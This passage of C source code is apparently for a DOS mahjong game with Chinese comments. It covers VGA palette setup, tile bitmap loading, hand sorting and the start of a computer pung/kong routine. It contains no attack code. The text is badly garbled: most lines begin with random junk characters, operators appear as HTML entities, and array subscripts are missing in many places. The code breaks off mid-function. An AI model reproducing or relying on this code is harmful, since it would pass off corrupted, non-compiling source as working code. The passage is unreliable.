2 _6 N7 c, D" X8 W"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,
3 A0 Z# j9 q+ M; H* Y" }) P"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,
7 E8 r7 x  F$ Q) K( Y"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,
' \" n9 g$ |  _$ u+ Z1 R"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,
/ h9 ~0 p# S$ m3 y# z* {" h  \"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
  e. a: s6 j, h7 Q: O4 ], Y"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,
3 ?# o$ o9 s9 v+ E, S' H"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,
" n! w, ]+ ^$ u& ~$ `! |% N, i; d' N/ ?"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,
4 w6 M$ M. \& @" a6 E( ?9 Z"34.bmp"};
8 g  F, N5 |$ lstruct every
{ int *k; /*名字*/
, f" G$ O2 J: C7 H9 Y$ B& eint oneorfour; /*同一张牌的第几张*/
int number; /*第几张牌136*/
. W/ c7 K6 Z; y; M+ X) V( Tint p;
& Z5 [6 G6 p, fint g;
int c;
& Y1 i; F* F  D% ~* \int d[2];
/ B* ~4 \# @/ }, W+ W};
) \" l+ x* l- x! A1 Wstruct me
{ int m; /*定义有几张牌，开始有13张随着游戏的进行，会越来越小*/
: e) x9 e( x; k$ |0 Tint p; /*乓对方*/
" u  M# l/ V# H+ k( Rint c; /*吃对方*/
int g; /*杠*/
2 `5 b0 [8 Z( g* E$ T/ s5 f3 g) D
struct every pp[14]; /*存放手上的牌*/
# }, O( c0 q& y+ n}me;
% Y& ~( @# b1 @- [/ C2 \6 U- ?struct computer
{ int m;
int p;
: y9 Y: \( i4 M; y; {. Yint c;
1 R4 ~8 j% C1 }! ]int g;
4 J2 }! h, z9 i2 i4 T' @+ Y% l  h; Cstruct every pp[14];
8 S2 v# c& D+ ^' M}computer,comp;

/* 设置调色板 */
6 y) h/ Q  B4 L* r' Y+ [' Dvoid Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
{
outportb(0x3c8,Color); /*0x3c8写端口 写色号*/
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
, C' c: v0 L4 w; o. ^  houtportb(0x3c9,g);
outportb(0x3c9,b);
1 b/ j  B6 W% h/ [  U}
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
+ k" J4 [1 a+ a* S: D! s/* 设置显示模式的函数 */
$ I: R* k  u! `" zvoid Set_Video_Mode(int mode)
{
union REGS inregs,outregs; /*定义输入和返回寄存器*/
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
6 I5 V, H& ^7 Q0 z7 winregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/
( W5 T- b, f3 Dint86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/
$ R9 K& X. m1 N}
void v_line(int y0,int y1,int x,unsigned int color)
{ unsigned int address,n,temp;
if(y0&gt;y1)
: p* F. @% m2 G: [% p- S& j{
. q9 ~; h7 f, p- wtemp=y1;
* \2 Y* Y3 P! |" Iy1=y0;
y0=temp;
}
6 ?$ f5 b  p$ S6 maddress=320*y0+x;
for(n=0;n&lt;=y1-y0;n++)
$ ]. H! w! o0 ^2 Q/ I( y/ I{
video_buffer[address]=color;
address+=320;
/ W7 u: p, |: Y}
}
void h_line(int x0,int x1,int y,unsigned int color)
: K1 N9 _4 u8 r7 q6 A{ unsigned int address,n,temp;
if(x0&gt;x1)
{
$ l2 \2 y# k* \( K1 Xtemp=x1;
/ b& |6 E0 [2 I" ^x1=x0;
x0=temp;
}
& C" s% P; w  `( `* F, Yaddress=320*y+x0;
( H; E4 ], M$ L7 N, e4 gfor(n=0;n&lt;=x1-x0;n++)
; s* L$ u" [7 x; n{
5 ~+ s, J* q+ h. uvideo_buffer[address]=color;
address+=1;
}
}
8 @3 U& m) \% L% H0 h& b. t. Jvoid p_pixel(int x,int y,unsigned int color)
{ video_buffer[y*320+x]=color;
; x9 f2 V9 H+ X}
void s_square(int x,int y,int side,int color)
{
h_line(x,x+side,y,color);
h_line(x,x+side,y+side,color);
v_line(y,y+side,x,color);
# G8 ]' }3 b! l) w9 {" l3 x4 n1 U+ ^v_line(y,y+side,x+side,color);
( N7 p' K* g5 `) I+ P' a  o) U}
& J% {5 O  @' I3 b  Lvoid r_rectangle(int x1,int y1,int x2,int y2,int color)
, ]! C3 Q7 s$ y% X{
' A2 q* [0 G( M# M* S# [h_line(x1,x2,y1,color);
h_line(x1,x2,y2,color);
2 L! B" L/ A0 y; ]+ v& k6 Kv_line(y1,y2,x1,color);
( G: s! @: a0 y# L. Dv_line(y1,y2,x2,color);
" G4 [5 u& I& M6 C}
void fillRectangle(int x1,int y1,int x2,int y2,int color)
; V2 Z1 {! B/ ]& h  u$ K$ E' B{
: a. Z$ {' [* P# Q8 ^- D! Aint i;
for(i=y1;i&lt;=y2;i++)
" i! _$ L* G7 ^0 g" q, V{
h_line(x1,x2,i,color);
}
}
void showbmp(int l)
{ FILE *bmp;
int i,x,y;
BYTE palette[256][3];
bmp=fopen(me.pp[l].k,"rb");
: }; @1 x7 y1 U" P0 P1 `; R! {1 a/ Gfseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
" l7 [3 R" ]' r: ^{
. ^) f1 }- K( L0 n0 G# t& @0 q- rpalette[2]=fgetc(bmp)&gt;&gt;2;
7 R8 m. `6 y  U, Lpalette[1]=fgetc(bmp)&gt;&gt;2;
* M9 V# C! ?  K! V! C; ypalette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
; j7 }$ b2 F8 S! @/ aSet_Palette(i,palette[0],palette[1],palette[2]);
2 d5 e: G  ]3 \6 Y6 a) ^1 B}
for (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));
fclose(bmp);
}
void showbmpd(int l)
{ FILE *bmp;
. h9 `! M+ q4 e0 i6 iint i,x,y;
BYTE palette[256][3];
bmp=fopen(me.pp[l].k,"rb");
& f: O) y& `- Y& L" Z( pfseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
( P" n) l+ `2 j" ^, W* x5 ASet_Palette(i,palette[0],palette[1],palette[2]);
}
for (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
: A! k7 I( e0 z& g- |3 @/ G2 |fclose(bmp);
}
6 a3 O( i! q; W1 R: w1 Nvoid showybmp(int ll)
7 M9 k8 q* r: Y5 |, \9 x) a{ FILE *bmp;
int i,x,y;
3 u- S4 }9 j* b& |& @* M9 oBYTE palette[256][3];
: z- u( |) V" R7 g* v8 p- F) Xbmp=fopen(computer.pp[ll].k,"rb");
" ~2 B! W0 Y1 a1 O6 Ifseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
5 d& S% F* a- n* L( a6 o* ~fgetc(bmp);
; s) B+ I; N2 hSet_Palette(i,palette[0],palette[1],palette[2]);
+ g1 s! @; G- v" f6 [; I}
/ d+ v6 t8 t$ }; J+ y8 q8 Mfor (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
$ h3 V: R2 s4 Y; lpokeb(0xa000,y*320+x+zy,fgetc(bmp));
fclose(bmp);
. q) v( Z7 K6 p}
* ~$ i) X5 M  G# E& dvoid showcbmp(int ll)
{ FILE *bmp;
int i,x,y;
% ]) ?( d: h  O3 e1 r" C' ]# M  ABYTE palette[256][3];
% ?4 b! {5 B( e: y9 Abmp=fopen(computer.pp[ll].k,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
{
palette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
' \, P; e- w  y1 A" jpalette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
}
5 E3 ^: C  f" z  W% jfor (y=0;y&lt;30;y++)
for(x=0;x&lt;20;x++)
5 r4 Q5 `* K. y+ Kpokeb(0xa000,y*320+x+zyy,fgetc(bmp));
3 j# F$ e5 y0 o  ~3 c2 [' zfclose(bmp);
/ ^+ K9 f1 t! _$ r}
void bmpp(int number)
/ N+ C' q1 Z5 O$ k  Y{ FILE *bmp;
int i,x,y;
BYTE palette[256][3];
; s3 U* v& N* e- L/ bbmp=fopen(m[number].name,"rb");
fseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
. _  ?; d0 C0 z6 j! o{
palette[2]=fgetc(bmp)&gt;&gt;2;
  y# U5 A! S, h  z9 b9 Bpalette[1]=fgetc(bmp)&gt;&gt;2;
" ]. K. z5 e) L9 }palette[0]=fgetc(bmp)&gt;&gt;2;
9 Q  Z9 ~' P9 g7 J( Wfgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
}
% B$ d$ w* q1 Y' afor (y=0;y&lt;30;y++)
/ B5 v- |9 B, `  Wfor(x=0;x&lt;20;x++)
pokeb(0xa000,y*320+x+zl,fgetc(bmp));
fclose(bmp);
}
: Y8 I. q+ O& m$ W6 p3 J' ivoid comlipai() /*整理电脑的牌*/
4 ?$ Q+ P1 Z) T3 e) [. m{ int n,j,u;
* b6 q' r- D- A$ ~! O) u4 Aint *lingshi;
2 z+ N3 ~7 y6 l6 L' Q8 Y) qfor(n=0;n&lt;computer.m;n++)
for(j=n;j&lt;computer.m;j++)
' Z" G8 `% w, M. j/ x1 C2 }{
if(computer.pp[n].number&gt;computer.pp[j+1].number)
{
* K8 v7 W" E% l% S* clingshi=computer.pp[n].k;
computer.pp[n].k=computer.pp[j+1].k;
computer.pp[j+1].k=lingshi;
u=computer.pp[n].oneorfour;
3 f. \8 k. R; x) M) r# Xcomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
" P* F& V4 ?0 h; q) G( ccomputer.pp[j+1].oneorfour=u;
u=computer.pp[n].number;
3 Q2 d( R. ^4 s  Vcomputer.pp[n].number=computer.pp[j+1].number;
3 `$ X6 ]/ I6 [# W% n" R1 k/ Xcomputer.pp[j+1].number=u;
}
# k- u' L' ?* o8 Celse
! _2 v. Z$ f, e+ Bif(computer.pp[n].number==computer.pp[j+1].number)
+ `- m9 H4 a$ P! Pif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
{
! u, ?+ i+ g. G! O, Clingshi=computer.pp[n].k;
computer.pp[n].k=computer.pp[j+1].k;
2 @' g$ R# X6 Ecomputer.pp[j+1].k=lingshi;
4 p+ f. m( ~. M' o$ R7 nu=computer.pp[n].oneorfour;
3 _5 D. Z8 ]( l& n8 L3 ocomputer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
computer.pp[j+1].oneorfour=u;
7 N& H0 Z" O0 V8 ou=computer.pp[n].number;
! Y9 q  O' s! c1 I3 qcomputer.pp[n].number=computer.pp[j+1].number;
3 ]3 l: g; p( W* ^9 }computer.pp[j+1].number=u;
9 s  t# X% z: r% o' O4 s, B}
+ S# l2 B  B+ l8 G+ \* D}
6 G. Q6 y+ d0 G7 z}
3 k) @6 Y& N% ^void melipai()
- h5 r+ [: K% S) v{ int n,j,u;
. m' R7 R% r; K, C  O3 aint *lingshi;
for(n=0;n&lt;me.m;n++)
' {4 ?; L9 q6 lfor(j=n;j&lt;me.m;j++)
{
if(me.pp[n].number&gt;me.pp[j+1].number)
8 w$ L7 i  K& {{
: P6 d( k. ]2 `lingshi=me.pp[n].k;
6 N$ A7 d0 _, ?. Ime.pp[n].k=me.pp[j+1].k;
. h% O' y0 j: Q+ Eme.pp[j+1].k=lingshi;
  M3 f5 C" u. S6 F  R! j) nu=me.pp[n].oneorfour;
) @3 B5 U7 m2 u4 Ame.pp[n].oneorfour=me.pp[j+1].oneorfour;
. c1 Z7 e; o1 }1 p; ]0 \- b# ]! Zme.pp[j+1].oneorfour=u;
u=me.pp[n].number;
me.pp[n].number=me.pp[j+1].number;
me.pp[j+1].number=u;
  J9 x+ p' X1 b" D; y* h}
else
if(me.pp[n].number==me.pp[j+1].number)
. Q2 q( e& e3 z4 nif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
{
; c% p# F- u7 ^% P& t/ \. blingshi=me.pp[n].k;
me.pp[n].k=me.pp[j+1].k;
me.pp[j+1].k=lingshi;
6 K. F* _5 q: Ju=me.pp[n].oneorfour;
2 q2 r9 ?3 @/ N- W  q8 ume.pp[n].oneorfour=me.pp[j+1].oneorfour;
1 ^- M8 s% v+ Z8 ime.pp[j+1].oneorfour=u;
u=me.pp[n].number;
3 l2 U! q) W, e+ Ome.pp[n].number=me.pp[j+1].number;
+ l1 j( x3 f1 p$ b+ h5 d- y5 ^me.pp[j+1].number=u;
}
}
( j% c0 R) ~( f6 U}
+ a2 Y0 _4 k7 @, @5 |% \void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
2 [, y% k% ?9 u1 E4 \{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
$ M" a$ `2 K9 Kif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)
{
logo=1;
$ o- n0 t5 I; N3 V( l; i% Zif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
. j- u0 |. g1 }- Hlogoo=1;
7 ~3 z" C$ G1 N$ w& Delse if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
) l; y  ~9 G, }$ a) z4 l7 Flogoo=2;
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
6 x- u& }/ q! j+ a# x/ ilogoo=3;
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
logoo=4;
* D* F$ w7 D/ `else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
2 ?- f3 ?3 O( T6 X7 I. J6 elogoo=5;
) v/ A9 q# [, E4 Welse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
logoo=6;
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
logoo=7;
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
2 e1 M! s: }. \! u$ glogoo=8;
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)
, g; f" C& w; x2 _" [logoo=9;
6 W8 M5 i6 y* Q. P/ n" w, L}
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
{
3 u4 e0 j8 J6 K) K! d1 e* h* slogo=2;
. r" L# p# I' T! c+ |if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)
8 _* C% ]8 d* {* H5 ]2 @0 Dlogoo=1;
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
3 ~% J; J) h( M2 U" I" h8 |logoo=2;
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
! O( W7 c: p+ m2 y! Q. D; t+ \logoo=3;
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
8 Z5 h4 E& v$ Y4 e2 X- X2 ?logoo=4;
else if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
logoo=5;
" V; _. d/ {/ r/ m8 P6 B  ]( O* felse if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)
* s+ U4 d, {) ]  B: z: rlogoo=6;
( e7 P1 S$ u& F+ N. h2 ]* `0 selse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
$ G4 W& I: p/ |4 [% d0 }logoo=7;
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)
0 @1 w4 K* A3 r& {( elogoo=8;
: E& I# I2 z% u- Kelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
logoo=9;
7 E8 R! ^6 h; E. P; m- q6 s7 ^}
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
{
logo=3;
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)
8 y" ]& z. E6 P+ vlogoo=1;
. T( D2 c6 m0 Zelse if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
" y; n- i: r9 M7 c0 Xlogoo=2;
3 M4 L) J4 M4 D8 d3 aelse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
logoo=3;
2 U0 R. G* K6 a( N, [: t: B4 Relse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
1 \# Y% A4 H' A% f8 @logoo=4;
6 n3 }( U3 d$ R8 b7 A2 ?# `else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
3 X; t/ q" ~  Ologoo=5;
' c" |  e0 j7 Q8 J; T  `else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
logoo=6;
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
logoo=7;
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
logoo=8;
. m8 S9 i( Y& ?' Z& f$ Oelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
' G2 F) `/ l& T+ tlogoo=9;
}
; u$ T6 z$ D6 e( v- S6 qelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
$ `# s) j" c- m{
logo=4;
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)
7 E8 S( O( f8 z" ~5 W- nlogoo=1;
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
logoo=2;
' q6 G5 o: S& q4 C( Eelse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
6 s( }- Z4 t' @$ z( Tlogoo=3;
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
logoo=4;
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
logoo=5;
6 }$ ?9 T/ Z6 d/ v/ E* _+ Celse if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
3 R; j6 @8 G! E8 Slogoo=6;
( v+ j2 l6 l6 R$ k) S7 Uelse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)
0 D2 Y+ T' _" ]& a4 j: flogoo=7;
) w+ Z# B2 {% h" s}
while(b&lt;=computer.m)
{
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/
2 h! X* t+ b2 g2 i: i2 j{
. u; P! V% I; |0 u; Ylg=1;
computer.pp.d[0]=1;
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
4 q+ A. n  I( l. W3 Z: V4 a" }( B3 E{
lgg=1;
9 l' L; D0 x, W' e6 _computer.pp.d[1]=1;
}
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
0 D3 p; y5 p) _1 R* q! {" S; W0 k! D: [{
lgg=2;
computer.pp.d[1]=2;
}
0 s* D& g1 @5 \! e, selse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
, n, Z- S; g1 Z" p! ?. ~, e5 Y, y{
lgg=3;
) W# y* k7 O* t% h: l1 Z( scomputer.pp.d[1]=3;
}
, ?+ h; j7 o1 c2 s8 G" F8 delse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)
{
. L2 t4 l+ j- O! A4 qlgg=4;
' ?: u8 H6 @  m6 Ycomputer.pp.d[1]=4;
7 e8 @, z6 R) d6 r5 |}
! q7 `8 e; {% X' l8 ]) Z3 eelse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
{
lgg=5;
computer.pp.d[1]=5;
6 w! ^& n9 K. E  Z  @9 c}
else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
{
lgg=6;
6 S1 `2 }) x- d* V; i, }4 ecomputer.pp.d[1]=6;
3 U" U! A. e$ Y, p}
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
{
9 \* k8 q- W+ _lgg=7;
computer.pp.d[1]=7;
) G: p* X' ~* i! M. y1 ^  J}
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
{
+ G" K0 S% L  L* O! plgg=8;
# {8 p3 o; H1 p' m- D* kcomputer.pp.d[1]=8;
7 h. M) E  ^8 @4 H9 Q}
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
{
: \# _) S# f! l: W4 W4 ?5 S, [% glgg=9;
computer.pp.d[1]=9;
* e+ k& t( X7 b9 Y" H}
$ a8 `) p% ^2 T6 n+ ]* _}
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)
& O+ H- M* m3 y/ T, ]# s{
1 M/ l8 S6 E" @+ i' V  |lg=2;
/ ]9 f5 o$ t( Acomputer.pp.d[0]=2;
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
{
lgg=1;
computer.pp.d[1]=1;
}
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
{
lgg=2;
* o) w) L( w) L& b6 K7 m, Gcomputer.pp.d[1]=2;
! O1 \5 x+ M! K}
else if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
{
) h* Q2 i$ T2 ^+ Y; m' zlgg=3;
computer.pp.d[1]=3;
" P$ M+ u* k/ \3 j$ \, M}
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
{
' ~- F0 w  o6 ~' e) G6 C% Llgg=4;
computer.pp.d[1]=4;
# _& L, x9 N+ c" q6 X- V}
8 f  O( g# ~( g' belse if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
{
lgg=5;
computer.pp.d[1]=5;
}
- O8 a- R! P% n( m" V$ l9 I( Delse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
{
lgg=6;
3 `: O3 s. |  F5 g/ R, A8 Kcomputer.pp.d[1]=6;
}
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60)
* q' u" O* C1 v3 o, i6 Z{
8 |+ `" ?' c. ^0 `lgg=7;
1 [: y/ [6 w: j3 H; e2 `computer.pp.d[1]=7;
}
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
7 Z) n5 c3 z  N9 `9 D{
  F7 s/ q2 J) ^lgg=8;
computer.pp.d[1]=8;
}
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
{
lgg=9;
computer.pp.d[1]=9;
}
. {8 i) Y% \% t6 R1 j! Q! N' F}
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
6 C0 S  L2 O/ Q+ X4 Y+ P, x{
lg=3;
computer.pp.d[0]=3;
& B% [" T6 Y1 B" ?# s- ~/ R5 Zif(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
+ }7 o7 t# U2 u% a7 g' E{
3 J# b6 ]! @% m" h0 ?7 Flgg=1;
computer.pp.d[1]=1;
}
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
) j0 S) w7 j9 j( }) K" T  S{
lgg=2;
computer.pp.d[1]=2;
7 g" r+ U- [0 W2 M4 F- u}
7 M+ l  ^/ {  Aelse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
+ M) d9 d) ?8 O. S) i8 B{
lgg=3;
computer.pp.d[1]=3;
+ E7 @& L! p7 K' e% i}
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
/ o4 e1 ^3 b1 H{
lgg=4;
computer.pp.d[1]=4;
}
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
{
0 j) r- m# w+ {% ]lgg=5;
3 }# s% |8 d8 P6 L4 @& _) u9 T! _2 gcomputer.pp.d[1]=5;
}
else if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
{
8 b2 W  N4 F- ]1 U6 x- R* i8 Wlgg=6;
computer.pp.d[1]=6;
7 @# l1 H' o% J6 K7 T4 q' \1 V}
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
6 [/ S3 ^" A7 O( O! i! Q{
. b" E' E0 l1 klgg=7;
computer.pp.d[1]=7;
}
) F0 A+ H; e9 v$ z3 a0 ?: uelse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
! ^" n+ q: r+ n- Q- S/ `5 f. N{
4 D2 ]; H7 P7 Jlgg=8;
computer.pp.d[1]=8;
9 Y4 a6 f' s) ?* g}
0 I7 x. h$ a" ]  o& n( p) L; Zelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
{
3 f" B5 H5 }0 d7 Llgg=9;
computer.pp.d[1]=9;
}
}
% f9 ^8 g! m4 |- t, J5 {$ d9 Kelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
{
lg=4;
computer.pp.d[0]=4;
, M9 o; {& j' Y) `& j8 A6 |( x1 v! e! U' _if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
{
4 m! U- `$ j& |& ]4 `. clgg=1;
+ C; [  O5 N* E0 w2 U* |/ H7 o) ^) ccomputer.pp.d[1]=1;
7 h5 d( E2 a$ U  o' q$ P}
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
6 n9 i- C) y+ T, e" }& F7 O5 z{
2 l1 l  z. C- Q6 S* g! t. F( u0 o- hlgg=2;
4 Y+ T4 i$ t5 N5 b& z9 i. L( Xcomputer.pp.d[1]=2;
}
else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
- n" Z: |! h0 ^; K{
% R: A% X) T  blgg=3;
! N7 s$ _& J& a+ |2 Wcomputer.pp.d[1]=3;
}
else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
{
lgg=4;
computer.pp.d[1]=4;
7 x4 v& ]/ |3 D3 V# o( i$ Y}
/ r: x/ d5 G6 R4 [  X9 ^& W# Aelse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
{
" U7 M! C% B; m6 _/ Y9 elgg=5;
computer.pp.d[1]=5;
}
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
{
lgg=6;
4 {& C, `$ j& g, h0 S( _+ rcomputer.pp.d[1]=6;
- O) [3 j' {# X! t5 v7 k& \}
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
; K0 }6 a+ H% r) t% @! O+ u( P{
% }5 c; b/ c1 C4 Hlgg=7;
computer.pp.d[1]=7;
}
}
& u7 s' j3 R' p& l
5 ?7 w2 S0 B& ~9 R: [9 I" Y5 H& A' Pif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
, C; t2 [9 ]/ T+ o9 ]* lif(logoo==lgg)
  q3 k' ^4 I% I) X) Vpg++;
% J" C; w& Y& @ch.lg=lg; /*保存电脑手里的每张牌的信息*/
ch.lgg=lgg;
( h. d  x5 {, N. |5 J7 T& [lg=0;
lgg=0;
& V1 x, s- s" y7 B5 Fb++;
" i8 M0 l2 o- o* X: L}
if(pg==2) /*乓*/
0 ^& @( _" v* l! O{

sing=1;
b=computer.m;
while(b!=-1)
. e! ~3 N5 j* |, y3 ^2 H: J{
) k2 f0 O8 h9 R' zif(strcmp(me.pp[c].k,computer.pp.k)==0)
computer.pp.p=1;
6 ?% X! G- Q6 a4 D! G/ K/ q
# Z1 T+ s! G3 z! }' Wb--;
}
( B7 x  I# h# T# H# N# ]2 A- O}
6 P+ w0 o" l- T' q* mif(pg==3) /*杠*/
. N- ~1 A9 M* Q8 L{
4 |8 M0 X# \$ B- {
( v/ O' d* B8 {% p  t! D9 `sing=2;
b=computer.m;
while(b!=-1)
& Y& C% z7 b: e7 D% ^{
if(strcmp(me.pp[c].k,computer.pp.k)==0)
